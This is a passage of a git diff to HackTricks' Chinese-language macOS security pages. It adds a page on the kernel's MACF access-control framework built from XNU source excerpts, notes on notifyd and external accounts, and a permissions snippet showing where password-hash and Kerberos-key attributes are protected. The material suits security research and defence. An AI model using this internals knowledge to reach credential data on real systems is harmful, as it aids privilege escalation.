包含应用于节点属性的权限,并受到 SIP 保护。\ +该文件通过 UUID(而不是 uid)授予特定用户权限,以便他们能够访问特定的敏感信息,如 `ShadowHashData`、`HeimdalSRPKey` 和 `KerberosKeys` 等: +```xml +[...] +dsRecTypeStandard:Computers + +dsAttrTypeNative:ShadowHashData + + + +uuid +ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000 +permissions + +readattr +writeattr + + + +dsAttrTypeNative:KerberosKeys + + + +uuid +ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000 +permissions + +readattr +writeattr + + + +[...] +``` ## 系统通知 ### Darwin 通知 -通知的主要守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口注册(使用 `sudo lsmp -p ` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。 +主要的通知守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口注册(使用 `sudo lsmp -p ` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。 -用于通知的名称是唯一的反向 DNS 表示法,当通知发送到其中一个名称时,已指示可以处理它的客户端将接收到该通知。 +用于通知的名称是唯一的反向 DNS 表示法,当发送通知到其中一个名称时,已指示可以处理它的客户端将接收到该通知。 可以通过向 notifyd 进程发送 SIGUSR2 信号来转储当前状态(并查看所有名称),并读取生成的文件:`/var/run/notifyd_.status`: ```bash @@ -227,16 +269,16 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db * **`NSUserNotificationCenter`**:这是 MacOS 中的 iOS 公告板。通知的数据库位于 `/var/folders//0/com.apple.notificationcenter/db2/db` {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习和实践 AWS 渗透测试:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 渗透测试:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md new file mode 100644 index 000000000..1e588e068 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md @@ -0,0 +1,268 @@ +# macOS MACF + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## 基本信息 + +**MACF** 代表 **强制访问控制框架**,这是一个内置于操作系统的安全系统,旨在帮助保护您的计算机。它通过设置 **关于谁或什么可以访问系统某些部分的严格规则** 来工作,例如文件、应用程序和系统资源。通过自动执行这些规则,MACF 确保只有授权用户和进程可以执行特定操作,从而降低未经授权访问或恶意活动的风险。 + +请注意,MACF 实际上并不做出任何决定,因为它只是 **拦截** 操作,它将决定权留给它调用的 **策略模块**(内核扩展),如 `AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext`、`TMSafetyNet.kext` 和 `mcxalr.kext`。 + +### 流程 + +1. 进程执行系统调用/ Mach 陷阱 +2. 内核内部调用相关函数 +3. 函数调用 MACF +4. MACF 检查请求在其策略中挂钩该函数的策略模块 +5. MACF 调用相关策略 +6. 策略指示它们是否允许或拒绝该操作 + +{% hint style="danger" %} +苹果是唯一可以使用 MAC 框架 KPI 的公司。 +{% endhint %} + +### 标签 + +MACF 使用 **标签**,然后策略检查它们是否应该授予某些访问权限。标签结构声明的代码可以在 [这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) 找到,该代码随后在 **`struct ucred`** 中使用,见 [**这里**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) 的 **`cr_label`** 部分。标签包含标志和可由 **MACF 策略分配指针** 的 **槽** 数量。例如,Sandbox 将指向容器配置文件。 + +## MACF 策略 + +MACF 策略定义了 **在某些内核操作中应用的规则和条件**。 + +内核扩展可以配置 `mac_policy_conf` 结构,然后通过调用 `mac_policy_register` 注册它。从 [这里](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): +```c +#define mpc_t struct mac_policy_conf * + +/** +@brief Mac policy configuration + +This structure specifies the configuration information for a +MAC policy module. A policy module developer must supply +a short unique policy name, a more descriptive full name, a list of label +namespaces and count, a pointer to the registered enty point operations, +any load time flags, and optionally, a pointer to a label slot identifier. + +The Framework will update the runtime flags (mpc_runtime_flags) to +indicate that the module has been registered. + +If the label slot identifier (mpc_field_off) is NULL, the Framework +will not provide label storage for the policy. Otherwise, the +Framework will store the label location (slot) in this field. + +The mpc_list field is used by the Framework and should not be +modified by policies. +*/ +/* XXX - reorder these for better aligment on 64bit platforms */ +struct mac_policy_conf { +const char *mpc_name; /** policy name */ +const char *mpc_fullname; /** full name */ +const char **mpc_labelnames; /** managed label namespaces */ +unsigned int mpc_labelname_count; /** number of managed label namespaces */ +struct mac_policy_ops *mpc_ops; /** operation vector */ +int mpc_loadtime_flags; /** load time flags */ +int *mpc_field_off; /** label slot */ +int mpc_runtime_flags; /** run time flags */ +mpc_t mpc_list; /** List reference */ +void *mpc_data; /** module data */ +}; +``` +很容易通过检查对 `mac_policy_register` 的调用来识别配置这些策略的内核扩展。此外,通过检查扩展的反汇编,也可以找到使用的 `mac_policy_conf` 结构。 + +请注意,MACF 策略也可以**动态**注册和注销。 + +`mac_policy_conf` 的主要字段之一是 **`mpc_ops`**。该字段指定了策略感兴趣的操作。请注意,它们有数百个,因此可以将所有操作置为零,然后仅选择策略感兴趣的操作。从 [这里](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac\_policy.h.auto.html): +```c +struct mac_policy_ops { +mpo_audit_check_postselect_t *mpo_audit_check_postselect; +mpo_audit_check_preselect_t *mpo_audit_check_preselect; +mpo_bpfdesc_label_associate_t *mpo_bpfdesc_label_associate; +mpo_bpfdesc_label_destroy_t *mpo_bpfdesc_label_destroy; +mpo_bpfdesc_label_init_t *mpo_bpfdesc_label_init; +mpo_bpfdesc_check_receive_t *mpo_bpfdesc_check_receive; +mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve; +mpo_cred_check_label_update_t *mpo_cred_check_label_update; +[...] +``` +几乎所有的钩子在拦截这些操作时都会被 MACF 回调。然而,**`mpo_policy_*`** 钩子是一个例外,因为 `mpo_hook_policy_init()` 是在注册时调用的回调(即在 `mac_policy_register()` 之后),而 `mpo_hook_policy_initbsd()` 是在 BSD 子系统正确初始化后进行晚期注册时调用的。 + +此外,**`mpo_policy_syscall`** 钩子可以被任何 kext 注册,以暴露一个私有的 **ioctl** 风格调用 **接口**。然后,用户客户端将能够调用 `mac_syscall` (#381),并指定 **策略名称** 作为参数,带有一个整数 **代码** 和可选的 **参数**。\ +例如,**`Sandbox.kext`** 经常使用这个。 + +检查 kext 的 **`__DATA.__const*`** 可以识别在注册策略时使用的 `mac_policy_ops` 结构。可以找到它,因为它的指针在 `mpo_policy_conf` 内部的一个偏移量处,并且因为该区域将有大量的 NULL 指针。 + +此外,还可以通过从内存中转储结构 **`_mac_policy_list`** 来获取配置了策略的 kext 列表,该结构会随着每个注册的策略而更新。 + +## MACF 初始化 + +MACF 很快就会初始化。它在 XNU 的 `bootstrap_thread` 中设置:在 `ipc_bootstrap` 之后调用 `mac_policy_init()`,该函数初始化 `mac_policy_list`,随后调用 `mac_policy_initmach()`。除了其他功能外,该函数将获取所有在其 Info.plist 中具有 `AppleSecurityExtension` 键的 Apple kext,如 `ALF.kext`、`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext` 和 `TMSafetyNet.kext` 并加载它们。 + +## MACF 回调 + +在代码中常常可以找到对 MACF 的回调定义,例如:**`#if CONFIG_MAC`** 条件块。此外,在这些块内可以找到对 `mac_proc_check*` 的调用,该调用会调用 MACF 来 **检查权限** 以执行某些操作。此外,MACF 回调的格式为:**`mac___opName`**。 + +对象是以下之一:`bpfdesc`、`cred`、`file`、`proc`、`vnode`、`mount`、`devfs`、`ifnet`、`inpcb`、`mbuf`、`ipq`、`pipe`、`sysv[msg/msq/shm/sem]`、`posix[shm/sem]`、`socket`、`kext`。\ +`opType` 通常是 check,用于允许或拒绝该操作。然而,也可以找到 notify,这将允许 kext 对给定操作做出反应。 + +您可以在 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621) 中找到一个示例: + +
int
+mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
+{
+[...]
+#if CONFIG_MACF
+			error = mac_file_check_mmap(vfs_context_ucred(ctx),
+			    fp->fp_glob, prot, flags, file_pos + pageoff,
+&maxprot);
+if (error) {
+(void)vnode_put(vp);
+goto bad;
+}
+#endif /* MAC */
+[...]
+
+ +然后,可以在 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174) 中找到 `mac_file_check_mmap` 的代码。 +```c +mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot, +int flags, uint64_t offset, int *maxprot) +{ +int error; +int maxp; + +maxp = *maxprot; +MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp); +if ((maxp | *maxprot) != *maxprot) { +panic("file_check_mmap increased max protections"); +} +*maxprot = maxp; +return error; +} +``` +哪个调用了 `MAC_CHECK` 宏,其代码可以在 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261) 找到 +```c +/* +* MAC_CHECK performs the designated check by walking the policy +* module list and checking with each as to how it feels about the +* request. Note that it returns its value via 'error' in the scope +* of the caller. +*/ +#define MAC_CHECK(check, args...) do { \ +error = 0; \ +MAC_POLICY_ITERATE({ \ +if (mpc->mpc_ops->mpo_ ## check != NULL) { \ +DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \ +int __step_err = mpc->mpc_ops->mpo_ ## check (args); \ +DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \ +error = mac_error_select(__step_err, error); \ +} \ +}); \ +} while (0) +``` +将遍历所有注册的 mac 策略,调用它们的函数并将输出存储在 error 变量中,该变量仅可通过成功代码的 `mac_error_select` 进行覆盖,因此如果任何检查失败,整个检查将失败,操作将不被允许。 + +{% hint style="success" %} +然而,请记住,并非所有 MACF 调用仅用于拒绝操作。例如,`mac_priv_grant` 调用宏 [**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L274),如果任何策略以 0 回应,将授予请求的特权: +```c +/* +* MAC_GRANT performs the designated check by walking the policy +* module list and checking with each as to how it feels about the +* request. Unlike MAC_CHECK, it grants if any policies return '0', +* and otherwise returns EPERM. Note that it returns its value via +* 'error' in the scope of the caller. +*/ +#define MAC_GRANT(check, args...) do { \ +error = EPERM; \ +MAC_POLICY_ITERATE({ \ +if (mpc->mpc_ops->mpo_ ## check != NULL) { \ +DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \ +int __step_res = mpc->mpc_ops->mpo_ ## check (args); \ +if (__step_res == 0) { \ +error = 0; \ +} \ +DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \ +} \ +}); \ +} while (0) +``` +{% endhint %} + +### priv\_check & priv\_grant + +这些调用旨在检查和提供在 [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h) 中定义的(数十个)**权限**。\ +一些内核代码会使用进程的 KAuth 凭据调用 [**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_priv.c) 中的 `priv_check_cred()`,并传入一个权限代码,该代码将调用 `mac_priv_check` 来查看是否有任何策略**拒绝**授予该权限,然后调用 `mac_priv_grant` 来查看是否有任何策略授予该 `privilege`。 + +### proc\_check\_syscall\_unix + +此钩子允许拦截所有系统调用。在 `bsd/dev/[i386|arm]/systemcalls.c` 中,可以看到声明的函数 [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25),其中包含以下代码: +```c +#if CONFIG_MACF +if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) { +error = mac_proc_check_syscall_unix(proc, syscode); +if (error) { +goto skip_syscall; +} +} +#endif /* CONFIG_MACF */ +``` +将检查调用进程的 **bitmask**,以确定当前的 syscall 是否应该调用 `mac_proc_check_syscall_unix`。这是因为 syscalls 被调用的频率很高,因此避免每次都调用 `mac_proc_check_syscall_unix` 是很有意义的。 + +请注意,函数 `proc_set_syscall_filter_mask()`,它在进程中设置 bitmask syscalls,是由 Sandbox 调用以在沙箱进程上设置掩码的。 + +## 暴露的 MACF syscalls + +可以通过在 [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151) 中定义的一些 syscalls 与 MACF 进行交互: +```c +/* +* Extended non-POSIX.1e interfaces that offer additional services +* available from the userland and kernel MAC frameworks. +*/ +#ifdef __APPLE_API_PRIVATE +__BEGIN_DECLS +int __mac_execve(char *fname, char **argv, char **envv, mac_t _label); +int __mac_get_fd(int _fd, mac_t _label); +int __mac_get_file(const char *_path, mac_t _label); +int __mac_get_link(const char *_path, mac_t _label); +int __mac_get_pid(pid_t _pid, mac_t _label); +int __mac_get_proc(mac_t _label); +int __mac_set_fd(int _fildes, const mac_t _label); +int __mac_set_file(const char *_path, mac_t _label); +int __mac_set_link(const char *_path, mac_t _label); +int __mac_mount(const char *type, const char *path, int flags, void *data, +struct mac *label); +int __mac_get_mount(const char *path, struct mac *label); +int __mac_set_proc(const mac_t _label); +int __mac_syscall(const char *_policyname, int _call, void *_arg); +__END_DECLS +#endif /*__APPLE_API_PRIVATE*/ +``` +## 参考文献 + +* [**\*OS Internals Volume III**](https://newosxbook.com/home.html) + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index bda3cabff..9abb45f83 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,8 +1,8 @@ -# macOS 用户 +# macOS 用户与外部账户 {% hint style="success" %} -学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,8 +15,7 @@
{% endhint %} - -### 常见用户 +## 常见用户 * **守护进程**:保留给系统守护进程的用户。默认的守护进程账户名称通常以“\_”开头: @@ -33,23 +32,28 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; * **无**: 当需要最小权限时,进程以此用户身份执行 * **根用户** -### 用户权限 +## 用户权限 * **标准用户**: 最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予的权限。他们无法独立完成这些操作。 -* **管理员用户**: 大多数时候作为标准用户操作,但也被允许执行根用户操作,如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得根用户访问权限**。 +* **管理员用户**: 大多数时候作为标准用户操作,但也被允许执行根用户操作,如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得根权限**。 * **根用户**: 根用户被允许执行几乎所有操作(受系统完整性保护等限制)。 * 例如,根用户无法将文件放置在`/System`内。 +## 外部账户 + +MacOS还支持通过外部身份提供者登录,如FaceBook、Google等。执行此工作的主要守护进程是`accountsd`(`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`),可以在`/System/Library/Accounts/Authentication/`文件夹中找到用于外部身份验证的插件。\ +此外,`accountsd`从`/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`获取账户类型列表。 + {% hint style="success" %} -学习与实践AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习与实践GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习与实践AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持HackTricks * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。** +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。